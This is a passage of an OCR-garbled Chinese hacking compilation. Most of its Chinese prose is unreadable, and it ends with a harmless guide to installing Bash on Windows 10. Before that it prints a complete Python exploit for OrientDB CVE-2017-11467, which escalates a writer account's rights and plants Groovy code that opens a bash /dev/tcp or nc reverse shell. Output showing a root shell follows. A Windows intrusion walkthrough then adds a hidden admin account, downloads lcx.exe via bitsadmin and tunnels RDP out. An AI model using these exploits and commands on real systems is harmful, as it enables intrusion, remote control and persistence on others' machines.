systemctl daemon-reload

systemctl enable orientdb

systemctl status orientdb

HR:

(1 IR AL, WFFEBES A RN, BOA 64 152 5126, 208 16! FEBEH
Jopt/orientdb/bin T H]FTH bat XA sh 3CAH - 75 24 Invalid maximum direct memory size:
-XX:MaxDirectMemorySize=512g” %1% .

(2) WEBAHMHE, FEX N sh SO icE
ORIENTDB_DIR="/opt/orientdb/"

ORIENTDB_USER="orientdb"
2. 73

1.H P AR

OrientDB 1 H§ RBAC B AU 3 AT IATIE J7 52 - BRIN G L T, OrientDB A 3 M1t & L &t (admin)),
YE# (writer) ML (reader) o XUEH 4 5 EAME. X T7EMRSS & LAV
P, BONEOL T 2 lcix 3 M.
F P HIRLBR A2«
admin: U7 AV 8048 PE_ BT AT Thie, AT AT AT FR i
reader: WM o B2 A DAA W80 R AR ATl %, AR SEUN R EAT. BEARED
o) RS S, BlanH AR AR g
writer: 5 “1F 7 MFE, (HA]CLAIE, SEOHT AR id %

2 B3 By & AT

ORole it AbBEH 7 S Ho Ay, HAEEHE B 511717 . OrientDB 75 %2 oRole BLHURLFR K . iF
P S P AR B K 5 oRole AL PRAH SQIBC 1) FoAth 25 30 o (HAERRCAS 2.2.x T, 5 24 _E 3R oRole
A7 where. fetchplan Al ORDER BY 154, WA TR Z UL R ZRAE S, TR [H25 K
LA T 3 B 2 AT
15”:
select * from <em>oRole</em> order by name;
B P A N QU writer 17, IXRE, BIAE db B O SE SO PR LR P S, Mok
F AR AT UUAS FH writer F P SREURRS AT . - T-3RA1S T where. fetchplan #1 ORDER BY
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PR, 7E OrientDB 7 — AT groovy BR%L, groovy GBI EVHE, #EE T RGKEL
BRI FRATT AT L A7 AT L A A A >
7~ Groovy BREL:
Command.md
def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081

>/tmp/f'
File file = new File("hello.sh")
file.delete()

file << ("#!/bin/bash\n")
file << (command)
def proc = "bash hello.sh".execute()
3. MR
(1) Wil 8081 i [,
7f 8081 i [1i21T Netcat: nc-lv 8081
IBATAT A%
python PoC.py ip [port]
(2) poc.py
import sys
import requests
import json
import string
import random
target = sys.argv[1]
try:
port = sys.argv[2] if sys.argv[2] else 2480
except:
port = 2480
url = "http.//%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)
def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
return ".join(random.choice(chars) for _ in range(size))
def enum_databases(target,port="2480"):
base_url = "http.//%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
#print "[+] Database Enumeration successful"
database = req.json()['databases']
return database
return False
def check_version(target,port="2480"):
base_url = "http.//%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)
if req.status_code == 200:
headers = req.headers['server']

#print headers
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if "2.2" in headers or "3." in headers:
return True
return False
def run_queries(permission,db,content=""):
databases = enum_databases(target)
url = "http.//%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])

"o

priv_enable = ["create”,

"o

read","update”, "execute", "delete"]
#query = "GRANT create ON database.class.ouser TO writer"

for priv in priv_enable:

if permission == "GRANT":

query = "GRANT %s ON %s TO writer"%(priv,db)
else:

query = "REVOKE %s ON %s FROM writer"%(priv,db)
req = requests.post(url,data=query,auth=('writer','writer'))
if req.status_code == 200:

pass
else:

if priv == "execute":

return True

return False

print "[+] %s"%(content)
return True
def priv_escalation(target,port="2480"):
print "[+] Checking OrientDB Database version is greater than 2.2"
if check_version(target,port):
privl = run_queries("GRANT", "database.class.ouser", "Privilege Escalation done checking enabling
operations on database.function")
priv2 = run_queries("GRANT", "database.function","Enabled functional operations on
database.function")
priv3 = run_queries("GRANT", "database.systemclusters", "Enabling access to system clusters")
if privl and priv2 and priv3:
return True
return False
def exploit(target,port="2480"):
#query =

" "o

@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most", "language": "groovy", "code
":"def command = \'bash -i >&/dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\"),file.delete();file <<
(\"#!/bin/bash\\n\"),file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null’

#query =
{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None, "name":"ost", "language": "groovy", "code
":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file <<

(command);def proc = \"bash hello.sh\".execute(); ","parameters":None}
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func_name = random_function_name()

print func_name

databases = enum_databases(target)

reverse_ip = raw_input('Enter the ip to connect back: ')

query =
'{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":""+func_name+'","language":"gro
ovy","code":"def command = \'bash -i >& /dev/tcp/"+reverse_ip+'/8081 0>&1\';File file = new
File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\"),file << (command);def proc = \\"bash
hello.sh\\".execute();","parameters":null}'

#query =
'{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":""+func_name+'","language":"gro
ovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1[nc 0.0.0.0 8081 >/tmp/f\'
\u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file <<
(\"#!/bin/bash\")\u000a file << (command)\n def proc = \"bash hello.sh\".execute()

" "parameters":null}'

#query =
{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None, "name":"lllasd", "language":"groovy", "co
de":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\";File file = new File(\"hello.sh\"),file.delete(),file <<
(\"#!/bin/bash\\n\"),file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}

req =
requests.post("http.//%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))

if req.status_code == 201:

#print req.status_code
#print req.json()
func_id = req.json()['@rid'].strip("#")
#print func_id
print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)
req =
requests.post("http.//%s:%s/function/%s/%s"%(target, port,databases[0],func_name),auth=('writer','writer'))
#print req.status_code
#print req.text
if req.status_code == 200:
print "[+] Open netcat at port 8081.."
else:
print "[+] Exploitation failed at last step, try running the script again."
print req.status_code
print req.text
#print "[+] Deleting traces.."
req =
requests.delete("http.//%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
privl = run_queries("REVOKE", "database.class.ouser","Cleaning Up..database.class.ouser")
priv2 = run_queries("REVOKE", "database.function","Cleaning Up..database.function")
priv3 = run_queries("REVOKE", "database.systemclusters","Cleaning Up..database.systemclusters")

#print req.status_code
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#print req.text
def main():

target = sys.argv[1]

#port = sys.argv[1] if sys.argv[1] else 2480

try:
port = sys.argv[2] if sys.argv[2] else 2480
#print port

except:
port = 2480

if priv_escalation(target,port):
exploit(target,port)

else:

print "[+] Target not vulnerable"

main()

3.4 i 2R

®  (CVE-2017-11467 (&)

OrientDB j# it 2.2.22 £ “where” ¥ “fetchplan” I “order by” {# F H R AN AT HF AL 22
K, FVFE R B R O HE E SR PATAE S RAE R G 2.
[ ] CVE-2015-2918
7E 2.0.1 Z H ) 2.0.15 Al 2.1.x ZH ] OrientDB Server Community Edition H7 [/ Studio 214
A IE 2 PR FRAME TG, X s 72 M0 2 50 728 2 3@ ik K O v RO 0 il ik AT Bh RF s
®  (CVE-2015 4£-2913
server/network/protocol/http/OHttpSessionManager.java 7E OrientDB Server £t [X i [] Studio ZH.
4 2.0.15, 2.1.x Al 2.1.1 Z HTARAAS IERf HAK R T java.util.Random 5k 4L R BEHL Session ID
B, IR IR M 7 B 2 Bl I i 2R ) PRNG 119 A S8R s SR P A
[ ] CVE-2015-2912
7E 2.0.1 ZH¥) 2.0.15 A1 2.1.x ZH [{] OrientDB Server Community Edition 1] Studio 2144+ ]
JSONP i s 5 A4 32 224l PR ] [ AR, 3 SR Vi B B0k 2 Ik A O & T H B HTTP 38 SR IEAT 5 0
RIGRE (CSRP) Wiy, FHIRMBBURE R .

3.5 SZ5% CVE-2017-11467 JIRFI A

1.%2%% poc.py P77 B4 A4

BB HAT python CVE-2017-11467.py 127.0.0.1 J& , IS =, Wil 2 fr o, 3R 7R 75 2 requests
HAEWISZHE, T LA https://pypi.python.org/pypi/requests/#downloads | #;
requests-2.18.4.tar.gz, A S5 AL
https://pypi.python.org/packages/b0/el/eab4fc3752e3d240468a8c0b284607899d2fbfb236a56b
7377a329aa8d09/requests-2.18.4.tar.gz

fif & requests-2.18.4.tar.gz LA )5, f# ] python setup.py install #1417 % %5,
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C:\Python27 1 HF

11:24 448 bigip.py
21:39 940 bigip2.py
21:37 547 BigIPF5-Decoder.py
23:30 6,166 CUE-2017-11467.py
4 A 8,101 =4
0 4~ HF 63,512,911,872 T HFT

C:\Python27>python CUE-2017-11467.py 2
Traceback (most recent call last):
File "CUE-2017-11467.py", line 2, in <module>
import requests
ImportError: No module named requests

K 2 F B2 % requests ZH44

2.53-# OrientDB
zoomeye HRETTETFZ, [FlLH https://fofa.sol SKRIFATI R BUR LR, C8EIA “orientdb
&& port=2480" , X} T 2.2.X AFEA LB A . KGR )G, B s kB E o & I1EW
Vill. BEMEIEW iR, B — G /2 admin/admin.
3AT AT S
(1) Aerill 2 15 47 1E e ]
41 python CVE-2017-11467.py 127.0.0.1 J5 H 45 5.
C:\Python27>python CVE-2017-11467.py 127.0.0.1
[+] Checking OrientDB Database version is greater than 2.2
[+] Privilege Escalation done checking enabling operations on database.function
[+] Enabled functional operations on database.function
[+] Enabling access to system clusters
8bd94
Enter the ip to connect back: 59.%** *x* *xx /75 \ 7 3] 1P Huhik, 33 = AT fE L5
[+] Exploitation successful, get ready for your shell.Executing 8bd94
[+] Exploitation failed at last step, try running the script again.
400
{

"errors": [
{

"code": 400,

"reason": "Bad request",

"content": "Error on evaluation of the script library. Error: org.codehaus
.groovy.control.MultipleCompilationErrorsException: startup failed:\u00OaScriptl
.groovy: 1: unexpected token: def @ line 1, column 1.\u000a  def 8bd94() {\u000
a  "\u000a\u000al error\u000a\u0O00aScript library was:\uO0Oadef 8bd94() {\u000a
def command = 'bash -i >& /dev/tcp/59.110.62.194/8081 0>&1';File file = new File
(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def
proc = \"bash hello.sh\".execute();\u000a}\u000a\u000a\u000d\u000a\u0O009DB name=

\"hierarchies\""

}
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[+] Cleaning Up..database.class.ouser

[+] Cleaning Up..database.function

[+] Cleaning Up..database.systemclusters

(2) W& P

0 AN 2 5 B3 RAFAEIR , WIS i A — A S ) 1P Ul 3% 1P kb 55 7 2253817 8081
g T, SR i SRAT T U SR BOR B shell, $RATRCR A&l 3 A& 4 Fos .

C:\Python27\requests-2.18.3>cd ..

C:\Python27>python CUE-2017-11467.py 2 2480
[+] Checking UrientDB Database Uersion is greater than 2.2
[+] Privilege Escalation done checking enabling operations on database.function

[+] Enabled functional operations on database.function

[+] Enabking access to system clusters

phbyo

Enter the ip to connect back: L TR

[+] Exploitation successful, get ready for your shell.Executing pnby0®

K 3 iy PAT IR S TN

cr R : C:\Tindows\system32\cmd. exe — nc -vv -1 —p 8081

C:\Users\kingé>nc —vv -1 —p 8681
listening on [anyl] 8681 ...
'2: inverse host lookup failed: h_errno 110604: NO_DATA

from C(UNKNOWN> [Z_________._.221 37966: NO_DATA
hash: cannot set terminal process group (13922)>: Inappropriate ioctl for device
bash: no job control in this shell
«]18;rootPinfo—PowerEdge—R728xd: “/orientdb—community-2.2.17/orientdb—community—2
/bine[B0m#t _17/orientdb—community-2.2.17/

Kl 4 ZREUR B shell

R

(1) BT a2 ZER linux, FIMREIP ATABEA T4, & WHATA D) .

(2) Jifa 1] LB X poe HH 1) 8081

(3) OrientDB #i 45 = %5 i 2 N85 (1 o 49 4n R BCRE Htfa J2e TG B SCAPF v 0 040 2 P P R 1 -
<user resources="*"
password="{PBKDF2WithHmacSHA256}3D2969BF5BF1E819C6358CEF534327A32D205928D77B6
D47:56B6EE75711C3600BCB23011685F253EE3F645E1BFA70AB8:65536" name="root"/>
<user resources="connect,server.listDatabases,server.dblist"
password="{PBKDF2WithHmacSHA256}ADODA873F5BEB2343257A07B51326BBAECF8A894F9603
28E:B183077FF32DD1F40F3031EF048F5D8169E7EB6FB3C09004:65536" name="guest"/>

3.6 2K E

https://cxsecurity.com/cveproduct/15143/28462/orientdb
http://orientdb.com/getting-started/
https://nvd.nist.gov/vuln/detail/CVE-2017-11467
http://orientdb.com/docs/last/
https://blogs.securiteam.com/index.php/archives/3318
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4.58 S 5 gt 2 A KT Y web iR 5558

antian365 by eth10

TEAR Z W5, FRATAT DIBRIR S| — A1, BARBEIAT 4, (H2 BAL SO 50 Ml
PR, UG T b 2 4h R web ML, windows F4, BN AR, (HEERAD AL
I —A 3389 [PImAR S M RIGF K, AR CEFEIRER — DRI L IIRR T 8,
LART A P DX Bl it 28 2 R PR SR L, T e R T 4 A Y (1Y) 3389 !

BRI E) AT S22 )5, ENREENTTUEEERHE, PITEESS, H2
TATVH F W IE B KPS FEYT, WA RN BT, AESCHFRRATH TEHRA TR (7
BE 2 SRR, AT RE R SRS E R HD » A LS 46 %55, B A4 windows
) web %5 2%, {E 2 U RIRATREFREN ] — > 3389 (AR, B4 XL a) GiFE AT LIS LA
fif ke !

T A S LRSI ip 1] windows ML, IBARMTRA FEEER FHAEAE I 3389
i 1, AR A TG IRATE H Ar AT TS, Wik 3389 AT EIIGHOL T, ARFA TR AT
LB I —ANE P AR S, IR 5 120 8% 55 TR R AT ME H AT A K — R 2w R,
Peaniz g m, AR A @ I B 1 07 sUER AL AR ) — > web IRSS, HSZIIER) web RS54
MEEN M — G web MRS, FF HAZ N MRS 4 B 245 I ATSR 0 ) D RE, &5k 1
e PN ERE TS, — NS5 NMEIE, —ANaTCAUF RS, ARG B I
A DL AT SRR 9 2K B B A ORI G, FRATTRI AT A A i A R TR, K I 3389
Uity 1 R BNFRATI A WAL ip b, AT IE I S TRATTI A W ip SR [H] 42632 422 N I 1) 3389 !

EX B, fREdi—F _EmpTie ) ;s ik oy Rk, FAG Hulik (Private address) J&
THEE ML, BT ARSI, PR k. BUR 20 B 0 N S FA A ik -

A 2% 10.0.0.0--10.255.255.255

B 2% 172.16.0.0--172.31.255.255

C 2% 192.168.0.0--192.168.255.255

2 [ 1k BT R OR 58 B A A AT IBG I 2 5 0 i U 1) (1) b - !

4.1 SZERIA IR

AR A5 /& windows server 2008 R2, server fii A /& apache tomcat/7.0.59 ! 435 41
K 1 s

we—tomcat—7. 0. 79"
TALTNA_BASE

7.0_17"
strap. jar;D: \apache—tomcat—7.0.59bin\ tomcat—juli. jar”

K1 #A1ERGEE
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42 BEEAER

FATE L S T A2 A A H AR EALHY ip kb, AILZ P A IRATT A M ] 9 3k
Pl AN ARIAE, W 2 Fos, KBTS REZ web 2 I I WS 2 2 kL
BEAT 5 1R 7 o

Windows IP BT

LLARhEEEE FHhER

Efi2S 1satap. {526F5A51-DD10-4CAT—9437-374B2FDFCODA]

$r+ i 28T
CETEERY DNS B

fE1E1EAI2S Teredo Tunneling Pseudo—Interface

K2 &F ip ik
EIZETR, HETZHITIAE AN RG, A 8w i 77 20k 55 24t
TBCAE 2 X T !
JAMNELAE A whoami &F XATH 7, W 3 s, KILERATHIAR 2 system LR,
AT DLHUT AR S ER R

D: \apache—tomcat—7.0 39 \webappsROOT\> whoami

nt authority\system

K3 whoami &%

4.3 FNR T

BARBATAT UPATAEZEAE, (H2H TRRTRIIAS TRERS], SRR Z D)
RESZ 2 7RI PR FF H X T 22 windows #1E RS, HATR A LA, emd 1) shell, 258
AR R IRATAE, XIT windows RGUKUE, FATERZ BN %2 8 H AR PR RIET
TR ()R (REANRESEIL R —Hg) !

HARATER T 4w 15 S, 4 netstat —ano & Ui A5 B &R ILFRAT TR 1)
76 T SR T AR 4% vt 11 3389, Wil 4 FiR:
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D:‘\apache—tomcat—7.0. 79 \webapps!,

HEMEE

M Zil
TCP 0.0.0.0
TCP
TCP
TCFP
TCP
TCFP
TCP
TCFP
TCP
TCFP
TCP
TCFP
TCP
TCP
TCP
TCFP
TCP
TCFP
TCP
TCFP
TCP
TCFP
TCP
TCFP
TCP

K4 2 i 5 2

LRI AT KA E 1 AR RSB B, AR IMEIERE A 3389 Ui I, KDY system BUIR,
PRI AT e 4 m] BLS I — B B B K 5 !

A EER LRI A

1. B AEE AR

2. bAum DR TR

3. AT M ¥R

4. JZFE ST R

4.4 RIMEBERKS

windows | FZA# H net user EATIRINIK S, FEMASWT:

net user BRRGHF
net localgroup administrators BN E B LK
netuser H P4 %% /add WA A

net localgroup administrators F " 4% /add  WNIIA P 2EH A
W s o, WATRIEIN 7 & RAKS .
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webapps ROOTYY net localgroup administrators

L ARAAERER R E hiHR

Administrator
NT AUTHORITY ITETWHFJ SERVICE

A e AIh

D:Yapache—tomcat—7.0. 79webapps\ROOTY> net user ethlD Root@123 fadd

S IR -

D:\apache—tomcat—7.0. 79 \webapps \ROOTY> net localgroup administrators ethll fadd

an < IRk o

webappsiROOTY> net localgroup administrators

AR TEIRHIA 2 AR

Administrator

ethll

NT AUTHORITY\NETWORK SERVICE
S BRI o

K5 7Nine B K 5
WY EHE RS T, BATE Rt b A DR R TR

4.5 AR ¥R T H

windows T [, AT H s A% K T H AR Iex.exe, 73 4MEA windows H 3] netsh,
{HAARRLE A SR Nl %A &, A rus Dk TR EATEE, 5T linux ARG,
A N A3 Ve RBAT 242 (ATREREBOARREE, BIA linux 7T LA EL#2 3 bash, B3 H
O ne IFBERESE, WRARMAE, BUEZ 2RI T linux In K5, FIGIRET
Kt B L% loxexeo

X BRSO, AN N EBRNIE DR kAT b, R b AT BAE, X T
A7) EAE T S & GRIRSCI AT X EAR IR Y 3 RS AR TR B, HﬁiZD~
‘tbﬂﬁﬁiﬂﬁﬁ?ﬁ’]i%wﬁﬁ: i K8 1 Structs2 I A H TH, IR EA& TR

EI AR S B I R S A TR, W linux 1Y wget, windows [ bitsadmin.

T 3RATA R T SAE T, P LAIRATIAE S A8 F =2 7] B 4 1 B AR ST DI REREAT lex T

A, i 6 Frs:
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RELEASE-HOTES. txt 2017-06-26 19:27:54 9195 R W
%] tomcat—power  EBFIEIT "201?-06-26 19:27:54 2376 R W
™. tomcat. css BT HRGEET 2017-06-26 19:27:54 5931 R W
%] tomcat. gif TE T FIRR 2017-06-26 19:27:54 2066 R W
@] tomcat. png g 2017-06-26 19:27:54 5103 R W
& tomeat. svg e » | 20170626 19:27:54 68761 R W

Kle =J] 5 3Cft Bk Thig

BRBATIBSABAL, lox B FAERW, WK 7 fR:
(C7] WEB-TNF
= = ROOT
=Y vzs-nir| i

£ Upload lcx.exe failed!

K7 lex ARSI

SR BATRT LB EAL— AR, BERAGEED K ST AL lox, (HERAIDURK
T K 8 fios:

(%] tomcat—power. zif
-2_ tomcat. css
(%] tomcat. zif
[®&] tomcat. Png

r}j tomcat. svg

1 Upload JspSpy.jsp failed!

SERVNCE RN

KB A PLE YRR AT BB RS, e BAL—A jsp IR S, SRIGHEH jsp
A R B AR K B RE R B AR K, (HARBATHIE SRR IRALS, BATH RS 5
R AT T, ERATIRIERVIF, Wk 9 Fior:
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HTTP Status 500 - Unable to compile class for JSP:

T Exception report

Unable to compile class for JSP:

NPT The server encountered an internal error that prevented it from fulfilling this request.
lexception|

org.apache.jasper.JasperException: Unable tc compile class for JSP:

An error occurred at line: 274 in the jsp file: /ethll.jsp
Syntax error cn tokens, Expression expected instead

271: return o == null || isEmpty(c.toString()):

272: }

273: public static String getSize(long size,char danwei) {
274: if (danwei == :M:) {

275: double v = formatNumber(size / 1024.0 / 1024.0,2):
276: if (v > 1024) {
277: return getSize(size,:G:):;

An error occurred at line: 277 in the jsp file: /ethll.jsp
Syntax error con tokens, Expression expected instead

274: if (danwei == :M:) {
275: double v = formatNumber(size / 1024.0 / 1024.0,2):
276: if (v > 1024) { [y

277: return getSize(size,:G:);
278: }else {

279: return v + "M";

280: }

K9 K1l K

X R — &R U, WA RIA ST EAEDIEE, B DAERATTRT DL 28 =7
w1, FHRSGANPZEE S TR TR, @i A1 version B RRIERSA L
windows [#], Pl AFRATTE #48 H bitsadmin, #id bitsadmin KT #FRATHAE 22 W FEAL 1)
lex, X§T bitsadmin, FE A BT

bitsadmin /transfer n http://3 32 4™ ip/lcx.exe c:\lcx.exe

n /& jobname, FLABEME A4, SR — AN &@ R, &5 —1S802 THE
M 55 ER AR S OSUE 44 Y M BRAME - Z a2 T lex BIARSS & BN, JERIER failed, 40
Kl 10 Fiw:

&10 bitsadmin T % lex I ARk 2528 5 M

AR BRI T, B2 R R 1, B WA — e R 5 T S
T FrUARRATRIRE A dir REE T, WIRHRSRMA, W 11 Pos:
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9\webapps \ROOTY> dir

=RE AU
|S2 DAES-C3FF

D: Yapache—tomcat—7.0. 79\webapps\ROOT FIBER

09:45 <{DIR>
<DIR>

K11 lex SO A% B Th
WREFHRM T, 7] ULE A JEEET T !

4.6 ¥ ¥ K

W oo e s T H EAR R 1, 3RATT AT LAE S iy 23T lox SKREF lox IR, W0
K 12 ffros:

TERIG 13 T—slave &

B FEAMZEL2T. 0. 18R B LLERIS BRI NG e M-tran 51 127.0.0.1

[Usage of Packet Transmit:]

lox —« lizt»’:n|tran|zl ave? {option> [*lw:w; l-:-;fil»’:}

Port> <(TransmitPort>
» (Transmit » {TransmitPort>
» {ConnectPort> {TransmitHost> {TransmitPort>

K12 lex {58 FH 75 B
Ay e ok, FEAH AW
AHh Iex -listen 51 3388
XS lex -slave AHL ip 51 PIXY ip 3389

AW ip FEIIZ SN ip [ windows FHLIF ip!

NI3%4%09: 127.0.0.1:33891 , HAMANE A (RIRMD EBANL ip (SR ip)
ff) 33891 Uit 1k AT 3 H% !

51 U~ 3388 ATk !

7 AR, AR AN UK XS 5 R SR o IV BEAT MR I, R R BIAHLIY 53— A
T, IR S — A R R EEE R XS 1) 33898 !
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AIRBAVITE L RS [ 3389 ¥ & BN IRATAHLA 51 4 0 B, 7844 51 4 O K B AL
03388 1, TRATSELEABLEATISUE, W 13 R, AIDIDE.

PS C: \Usets\Adm1n1strator> c:/Tcx.exe -1listen 51 3388
E—ME=—S ffﬁﬁ NEAHL_E AT —11sten 51 3389, RIS _EiE4T-514
%FQAZ-EZIIMJZEIN A AT LLIEREES3389. & — Z‘If)'[,‘?éﬂ #n-tran 51 12

Listening port 51
Listen OK!
Listening port 3388
Listen O?

K13 A ip b EEAT M

BEIFRATTBAT 55 — S A SRS 1P 1 51 3% 1 BT, B IRAT R IR 20 1R
7~ failed, WK 14 FioR:

webapps\ROOTY,

yapps \ROOTY> le —slave 1
F 51 10

K14 lex ¥k failed
R L —AFRATIEE ] GEA 2 failed, FATIE A RATINA 1P BTG, KILA K
FHLE R IK 3389 #: & % 7 51 v M _F, @k 15 fos:

PS C:\Users\Administrator> c:/lcx.exe -Tisten 51 3388 )
E—FME=L= fEEﬁ% wnFEAHL EEAT -Tisten 51 3389, ZERAIE EIE{T-s]a
B{AEEZlIﬁﬁlElN -1BLET LAZEANER)3389. E—F A/ FHFE MR . fn-tran 51 127

Listening port 51

Listen OK!

Listening port 3388

Listen OK!

waiting for Client on port:51 . ...
Accept a Client on port 51 from 2
waiting another Client on port:3388.

K15  AMCRIIEE

L DL A CHRAE, FRATI B R DT, SRR R SRiEE AT
WX 1P [ 3388 iy 11 >R[] 432378 FE 52 THI 1 2 N X 1) 3389 i 11 !

4.7 TR SR ER

B G FRAT A B B A s T LA 1P 1) 3388 i TR, W& 16 Fiam, AT
TR THER: T WM EHL.
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R BEE2EEE
THE BER TEH W  EEHOD
&= |z
EM eSS S18E (Taas13880-CONE)  RERSER (IAAS13888-CONPU
2 RS it S ——
o Thie
= iDHf : RENEXIARS SRS
= o EE o
&5 TRiE
~ REEHE
~ HHEHEE
HHENZR LRI
T1ER:

K16 J T % 21 Y ) 3389 it I

4.8 B45

AT SO S R A 2 — A T R R S L 2 90 95 3 SR I S S SRR ) PAY IR AL R R S
Sy R A TS BRI =750, Heb, ST linux KEEBBEMH] weet,
{BAXF T windows [, TIREIL A #7r AARITE bitsadmin X >4 AT DU RE R 30 28 3 F

(TREIRAE RS, PrUARITER) AN T jsp MIREE, WRBATK DG EAEARID),
IR BATRT LLSE A — A3y (HRAE 2[R EE AR RE ) A%, AT $E /2 g A% jsp SCAFIRD
SRIEER jsp — AR P R AT K A%, JXFE— R ERRE_EAL 2, B REASRE I3 U5 ]
AN NN T s B HUR T3 IA TR NI R ORI, PrbAa] G R AFFE — &
fmBE (o mT REE B B B S IR D, il T R 2 I 1) B e A% P — 2/ e e,
RERAREZ, BapiaBIREER failed, SEAEGSAER, tha o failed, HEAR
PLEDEAESAAT A &, BT AT AT I 3 7] K 4 i d s Y failed , Sedf RS0 IIE T, AN 2EE 3 failed,
HOA R R T !
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5.Windows 10 F% %4 Bash %%

myles007

5.1 ZiCHl =

FIXFEEWMER, FERZIXAD Windows 10 TR (Ubuntuw) EIRE, M AEIRK
R, P bA— € ZEHERR A KR, AT W SEAE R AL 2O A A AR rh B 3 1 5 F Bt M
ESGRABEVEA R BORE, B UX BURE B S22 SRS R “50” — i ok, B
R FAEXLE “Hp” A8 2R TC 1 B )

5.2 J& F§ windows 10 &%t

Window 10 64 7 & 4t B\ HAFRATIRAL “Bash on Windows” HI T & 4iThie, AR E2dd
U, BATLLASREL— Windows 10 R Ubuntu linux %6, X H 1507 2 08 L Th e,
BAREAE P IRV O T -

PRI - <R STRE” - RTINS Vindons JUAE” - ik “iE
H T Linux HJ Windows T %4t (Beta) ”

< c 4@ BNER > FESSEER o RN
P AR - R R

Jfig - Ji sl HIWindows D fig - 2™ & T

ERREER BgRs Linux(f)Windows - %%t (Beta) ”
EECERNER EEORES  BNIRTREET MRS Y. EXWEE.

§ =EEA Windows Tss |

|5 Windows L& - O X
2 Windows Thag o

EEERMIRE  EREESHRE SRR EERESE
&, ErER R eI,

XPS B ~
= W | TR RS

Ieri=ErE

[0 | &= TCPIP ERE(ED echo. daytime &)
® O | EENEEENUSNMP)
¥ eSpace Desktop ® [ | Bkl SR TCPIP BE
DEverything 1.4.1.877 (x86) ® IRATEE

(G Foxmail ] @5’% _
€ Google Chrome AL -
AiNodemizmris BT Linux 89 Windows ??ﬁ(Beta)I

O @ #gEEsowE
|£|Java 8 Update 66 . ieEAEE APl TS
|£%|Java SE Development Kit 8 Update 66

[#5]Kingdee Portal tool 5.4

5 Lenovo Mouse Suite B

I Microsoft Office Professional Plus 2013 VIicrosoft Corporation 20TTTT12T

0 Adobe Flash Playgr 26 PPAPI
€ Citrix XenCenter
[#5]COBA Helper
& Dell Touchpad
2» EasyConnect
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5.3 J5% Bash on Windows F &%t

5.3.1 i Bash F& %R

HATEIFN omd - #RAEA 1, fIA bash st BT R ER .

E¥ C:\Windows\system32\cmd.exe

s\admih>bash

C:\Users\admin>bash
— Beta WRINAE —

1
2
3. IXWFE Windows L%3EH Canonical 43& M Ubuntu,
4. RIS W
5. https://aka.ms/uowterms

6. #HEAMAMLDIRE, YR I RN R

T, FATERAREE. .

WAER: ZORIAVA bash 28, FELITRE “TFRANREA” .

532 BF “FEZAGRA”

AR Windows 10 1 “IF R N it , BARECE PR E T .

o (1) “WE” HAN “HEHFMLE”
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RZF3
EE, BUARA. FIEDhEE

)
Lo

~

BIER
HHAA, BoCR, BHRE

Windows 128

ERRE \ 5

L G

M EFIES
REGERF, BFEME, R . K&, B

BE, IfE =E

I'E'I N
R/
BoFA RS
. 8 Windows S57, i, &
P

®

P57
A=, DVR, JH.

=

o (2)AERM “TFRN IR
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=

B =m X RAR

Ex ERTAARIEE
R ELETITR,

EL s = TRESES

~
<~ Windows S5 O Windows R FErRIERA

Windows Defender X% Windows M FERSIERIN A,

AR
w

T & O =msrs
MREERIEAATR ( FlTAEX ) 2R,
7 wERE @ FEAmEs
D AN SN A EEE ST AT,
i N R N B
= N
© iR I
A ERERE B SR R TR WRIThES,
% sxomsss @ =
Ry Windows TSR REAI

FE¥F USB A IS R IURRIIRE,

@ =

5.3.3 FXEH Bash &%t

BEBE: 6 Ml e 7 REERE R b, B 215 0K S0 R R B 3 2 2 1
W, MEECLER T, MXMRINEEILE P Oasnt,

o (1) ARG TEIRE
FEHAVR “TPRN G 5, BATHREEN CMD 4247 T A3 Bash 7 %%, AL
WEEN Ubuntu T RGERGN AR, ERANEAE TR T REMERE PR 7, M)
A ENSY/ I
e«

o (2) oI5k

FEREAT SEHTIR A, — BEE A BRI D0 AT RE 2 H L 20 B B R IO IR AR 0, IX 202
W7 RGEEE IR AR S5 & AEE N, XS E0E N K DNS AR 55 88 AE 354738044 il b i Jo i 1k
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W, FrUE B SEAE DL, RSB AR DNS IRSHCE N 4. 2. 2. 1 804, 2. 2. 2,
FEABRE MR D LI A IR T, SRS S T REAR R ARGF, 3RS L E Y

Internet HMVARE 4 (TCP/IPvE) Bt X
=i =REE
MBFEZISHIEE  VWEILIERSIEERE 1P 28, FU , (RREMN
BEFEESNEEESN P EE.

@ SRS 1P H5HO)
O EFETES 1P HBHH(S):

P Hdik(l): l . . - I

@ CEAETER DNS RS

=% DNS BERP): | 4 .2 .2 .1 |

&5 DNS BEB(A): [ 4 .2 .2 .2 |

mp. B T =
’E s

o (3) AGUHENLE

FEREER N T RGE, Ko mm AL, BEEEA y BIA], B)E7ELEXEEA bash 3
BEHT, ARG TR EONEATONE — G, FE R LR RN A 44 A i B AT I
ANRFT .

7% Ubuntu 7 & 48 T 2R N B U A0 s«
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BN myles@ifly-21171: /mnt/c/Users/admin_

1
2
3
4.
5.
6
7
8
9.

C:\Users\admin>bash

—— Beta RIIRE —

